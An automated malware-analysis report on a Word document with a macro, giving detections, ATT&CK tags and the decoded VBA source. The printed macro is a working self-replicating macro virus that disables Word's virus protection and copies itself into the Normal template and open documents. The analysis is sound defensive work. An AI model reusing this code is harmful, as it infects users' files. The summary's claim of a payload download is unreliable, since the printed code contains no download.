MALICIOUS
122
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing a VBA macro that executes upon opening, as indicated by the Document_Open heuristic. The macro attempts to download and execute a second-stage payload from the URL http://www.tourdebloc.com. The document body uses a climbing competition as a lure to encourage macro execution. The ClamAV detection 'Doc.Trojan.Thus-16' further supports its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-16
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.tourdebloc.com In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1956 bytes |
SHA-256: 9d4cc1797b936f1525d8d629627a88f7ee5da07ae6f7f77f231f81fedcf7de4f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Private Sub Document_Open() 'Mat1' On Error Resume Next Application.Options.VirusProtection = False If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _ NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines End If If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines _ 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines _ (1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) End If If NormalTemplate.Saved = False Then NormalTemplate.Save For k = 1 To Application.Documents.Count If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.DeleteLines _ 1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines End If If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.InsertLines _ 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines _ (1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) End If Next k End Sub Private Sub Document_New() Document_Open End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.